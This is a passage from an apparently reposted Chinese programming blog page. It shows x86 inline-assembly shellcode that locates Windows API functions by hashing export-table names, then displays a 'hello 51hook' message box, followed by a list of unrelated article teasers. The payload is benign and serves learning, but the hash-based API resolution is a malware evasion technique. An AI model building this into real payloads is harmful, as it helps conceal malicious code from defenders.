			lea esi, [edx + esi]//函数名称字符串地址
			mov edi, [ebp + 0xc]//要查找的目标函数名称哈希值

			push esi//传参
			call fun_hashCode//对ENT表函数名称进行编码
			cmp eax, edi//哈希值比较
			jne tag_cmpLoop

			mov esi, [ebp - 0xc]//eot
			xor edi, edi//为了不影响结果清空edi
			mov di, [esi + ebx * 2]//eat表索引
			mov edx, [ebp - 0x4]//eat
			mov esi, [edx + edi * 4]//函数地址rva
			mov edx, [ebp + 0x8]//dllbase
			lea eax, [edx + esi]//funaddr va

			pop ecx
			pop ebx
			pop edx
			pop edi
			pop esi
			mov esp, ebp
			pop ebp
			retn 0x8

			//hashCode部分
		fun_hashCode:
			push ebp
			mov ebp, esp
			sub esp, 0X4
			push ecx
			push edx
			push ebx
			mov dword ptr[ebp - 0x4], 0
			mov esi, [ebp + 0x8]
			xor ecx, ecx
		tag_hashLoop :
			xor eax, eax
			mov al, [esi + ecx]
			test al, al
			jz tag_end
			mov ebx, [ebp - 0x4]
			shl ebx, 0x19
			mov edx, [ebp - 0x4]
			shr edx, 0x7
			or ebx, edx
			add ebx, eax
			mov[ebp - 0x4], ebx
			inc ecx//ecx++
			jmp tag_hashLoop
		tag_end :
			mov eax, [ebp - 0x4]
			pop ebx
			pop edx
			pop ecx
			mov esp, ebp
			pop ebp
			retn 0x4

			//paylod部分
		fun_payload:
			push ebp
			mov ebp, esp
			sub esp, 0x30
			push esi
			push edi
			push edx
			push ebx
			push ecx

			//1.先拿到dllbase
			call fun_GetModule
			mov[ebp - 0x4], eax

			//2.获取LoadLibraryA
			push 0XC917432//LoadLibraryA 哈希值
			push eax
			call fun_GetProcAddr
			mov[ebp - 0x8], eax//LoadLibraryA 地址

			//3.获取GetProcAddress
			push 0xBBAFDF85//GetProcAddress 哈希值
			//kener32和kernelBase无论哪个都可以调用LoadLibraryA等等
			//但只有kener32可以调用ExitProcess
			push[ebp - 0x4]//dllbase
			call fun_GetProcAddr
			mov[ebp - 0xc], eax//GetProcAddress 函数地址

			//4.调用LoadLibraryA 加载user32.dll
			mov ecx, [ebp + 0x8]
			push  ecx
			call[ebp - 0x8]//调用loadlibraya获取 user32.dll 
			mov[ebp - 0x10], eax//user32base

			//5.调用fun_GetProcAddr 获取MessageBoxA地址
			push  0x1E380A6A//MessageBoxA 哈希值
			push[ebp - 0x10]
			call fun_GetProcAddr//获取MessageBoxA的函数地址
			mov[ebp - 0x14], eax

			//6.输出hello 51hook
			push 0
			push 0
			mov ecx, [ebp + 0x8]
			lea ecx, [ecx + 0xB]//字符串hello 51hook偏移
			push ecx
			push 0
			call[ebp - 0x14]//MessageBoxA

			//通过loadLibraryA 获取kernel32.dll的基址 确保万无一失
			mov ecx, [ebp + 0x8]
			lea ecx, [ecx + 0x18]
			push ecx
			call[ebp - 0x8]//调用loadlibraya获取 user32.dll
			mov[ebp - 0x18], eax//kener32.dllbase

			//退出程序0x4FD18963
			push  0x4FD18963//ExitProcess 哈希值
			push[ebp - 0x18]
			call fun_GetProcAddr//获取ExitProcess的函数地址
			mov[ebp - 0x2c], eax
			push 0
			call[ebp - 0x2c]//调用 ExitProcess
			pop ecx
			pop ebx
			pop edx
			pop edi
			pop esi
			mov esp, ebp
			pop ebp
			retn 0x4
	}
}
int main()
{
	printf("hello 51hook");
	shellCode();
	return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2372164.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RabbitMQ-运维

文章目录 前言运维-集群介绍多机多节点单机多节点 多机多节点下载配置hosts⽂件配置Erlang Cookie启动节点构建集群查看集群状态 单机多节点安装启动两个节点再启动两个节点验证RabbitMQ启动成功搭建集群把rabbit2, rabbit3添加到集群 宕机演示仲裁队列介绍raft算法协议 raft基…

深度学习基础--目标检测常见算法简介(R-CNN、Fast R-CNN、Faster R-CNN、Mask R-CNN、SSD、YOLO)

博主简介&#xff1a;努力学习的22级本科生一枚 &#x1f31f;​&#xff1b;探索AI算法&#xff0c;C&#xff0c;go语言的世界&#xff1b;在迷茫中寻找光芒​&#x1f338;​ 博客主页&#xff1a;羊小猪~~-CSDN博客 内容简介&#xff1a;常见目标检测算法简介​&#x1f…

LINUX CFS算法解析

文章目录 1. Linux调度器的发展历程2. CFS设计思想3. CFS核心数据结构3.1 调度实体(sched_entity)3.2 CFS运行队列(cfs_rq)3.3 任务结构体中的调度相关字段 4. 优先级与权重4.1 优先级范围4.2 权重映射表 (prio_to_weight[])优先级计算4.3.1. static_prio (静态优先级)4.3.2. n…

软考-软件设计师中级备考 14、刷题 算法

一、考点归纳 1&#xff09;排序 2、查找 3、复杂度 4、经典问题 0 - 1 背包动态规划0 - 1 背包问题具有最优子结构性质和重叠子问题性质。通过动态规划可以利用一个二维数组来记录子问题的解&#xff0c;避免重复计算&#xff0c;从而高效地求解出背包能装下的最大价值。分…

Baklib实战企业内容与中台管理差异解析

企业内容管理中台本质差异 企业内容管理系统&#xff08;CMS&#xff09;与内容中台的核心差异在于战略定位与技术路径的本质性区隔。传统CMS聚焦于内容存储与审批流程的线性管理&#xff0c;而内容中台则构建起全域数据服务中枢&#xff0c;通过API接口实现跨系统内容资产调用…

通用外设驱动模型(四步法)

举例&#xff1a;GPIO配置步骤 1、使能时钟 __HAL_RCC_GPIOx_CLK_ENABLE()2、设置工作模式 HAL_GPIO_Init()3、设置输出状态&#xff08;可选&#xff09; HAL_GPIO_WritePin() HAL_GPIO_TogglePin()4、读取输入状态&#xff08;可选&#xff09; HAL_GPIO_ReadPin()模块…

IoT无线组网模块,万物互联的底层通信基石

随着物联网&#xff08;IoT&#xff09;技术在“快车道”上持续飞驰&#xff0c;一场“交互革命”正在人们的日常出行与工作学习等生活场景中加速爆发。从智能家居到智慧城市&#xff0c;从智慧交通到工业自动化&#xff0c;物联网&#xff08;IoT&#xff09;技术凭借着万物互…

learning ray之ray强化学习/超参调优和数据处理

之前我们掌握了Ray Core的基本编程&#xff0c;我们已经学会了如何使用Ray API。现在&#xff0c;让我们将这些知识应用到一个更实际的场景中——构建一个强化学习项目&#xff0c;并且利用Ray来加速它。 我们的目标是&#xff0c;通过Ray的任务和Actor&#xff0c;将一个简单…

【Linux】深入拆解Ext文件系统:从磁盘物理结构到Linux文件管理

目录 1、理解硬件 &#xff08;1&#xff09;磁盘 &#xff08;2&#xff09;磁盘的物理结构 &#xff08;3&#xff09;磁盘的存储结构 &#xff08;4&#xff09;磁盘的逻辑结构 &#xff08;5&#xff09;CHS && LBA地址 2、引入文件系统 &#xff08;1&…

基于 Ubuntu 24.04 部署 WebDAV

无域名&#xff0c;HTTP 1. 简介 WebDAV&#xff08;Web Distributed Authoring and Versioning&#xff09;是一种基于 HTTP 的协议&#xff0c;允许用户通过网络直接编辑和管理服务器上的文件。本教程介绍如何在 Ubuntu 24.04 上使用 Apache2 搭建 WebDAV 服务&#xff0c;无…

tauri-plugin-store 这个插件将数据存在本地电脑哪个位置

tauri-plugin-store 插件用于在 Tauri 应用中以键值对形式持久化存储数据。它将数据存储在用户本地电脑的一个 JSON 文件中&#xff0c;具体路径取决于操作系统&#xff0c;并且通常位于操作系统的应用数据目录中。 默认存储位置 以默认配置为例&#xff08;使用 default sto…

一场陟遐自迩的 SwiftUI + CoreData 性能优化之旅(下)

概述 自从 SwiftUI 诞生那天起&#xff0c;我们秃头码农们就仿佛打开了一个全新的撸码世界&#xff0c;再辅以 CoreData 框架的鼎力相助&#xff0c;打造一款持久存储支持的 App 就像探囊取物般的 Easy。 话虽如此&#xff0c;不过 CoreData 虽好&#xff0c;稍不留神也可能会…

数字人驱动/动画方向最新顶会期刊论文收集整理 | AAAI 2025

会议官方论文列表&#xff1a;https://ojs.aaai.org/index.php/AAAI/issue/view/624 以下论文部分会开源代码&#xff0c;若开源&#xff0c;会在论文原文的摘要下方给出链接。 语音驱动头部动画/其他 EchoMimic: Lifelike Audio-Driven Portrait Animations through Editabl…

数据结构 集合类与复杂度

文章目录 &#x1f4d5;1. 集合类&#x1f4d5;2. 时间复杂度✏️2.1 时间复杂度✏️2.2 大O渐进表示法✏️2.3 常见的时间复杂度量级✏️2.4 常见时间复杂度计算举例 &#x1f4d5;3. 空间复杂度 &#x1f4d5;1. 集合类 Java 集合框架&#xff08;Java Collection Framework…

Python学习笔记--Django的安装和简单使用(一)

一.简介 Django 是一个用于构建 Web 应用程序的高级 Python Web 框架。Django 提供了一套强大的工具和约定&#xff0c;使得开发者能够快速构建功能齐全且易于维护的网站。Django 遵守 BSD 版权&#xff0c;初次发布于 2005 年 7 月, 并于 2008 年 9 月发布了第一个正式版本 1…

SecureCRT网络穿透/代理

场景 公司的办公VPN软件只有Windows系统版本&#xff0c;没有Macos系统版本&#xff0c;而日常开发过程中需要先登录VPN后&#xff0c;然后才能登录应用服务器。 目的&#xff1a;Macos系统在使用SecureCRT时&#xff0c;登录服务器&#xff0c;需要走Parallels Desktop进行网络…

视频添加字幕脚本分享

脚本简介 这是一个给视频添加字幕的脚本&#xff0c;可以方便的在指定的位置给视频添加不同大小、字体、颜色的文本字幕&#xff0c;添加方式可以直接修改脚本中的文本信息&#xff0c;或者可以提前编辑好.srt字幕文件。脚本执行环境&#xff1a;windowsmingwffmpeg。本方法仅…

OrangePi Zero 3学习笔记(Android篇)4 - eudev编译(获取libudev.so)

目录 1. Ubuntu中编译 2. NDK环境配置 3. 编译 4. 安装 这部分主要是为了得到libudev&#xff08;因为原来的libudev已经不更新了&#xff09;&#xff0c;eudev的下载地址如下&#xff1a; https://github.com/gentoo/eudev 相应的代码最好是在Ubuntu中先编译通过&#…

华为昇腾910B通过vllm部署InternVL3-8B教程

前言 本文主要借鉴&#xff1a;VLLM部署deepseek&#xff0c;结合自身进行整理 下载模型 from modelscope import snapshot_download model_dir snapshot_download(OpenGVLab/InternVL3-8B, local_dir"xxx/OpenGVLab/InternVL2_5-1B")环境配置 auto-dl上选择单卡…

upload-labs靶场通关详解:第三关

一、分析源代码 代码注释如下&#xff1a; <?php // 初始化上传状态和消息变量 $is_upload false; $msg null;// 检查是否通过POST方式提交了表单 if (isset($_POST[submit])) {// 检查上传目录是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件扩展名列表…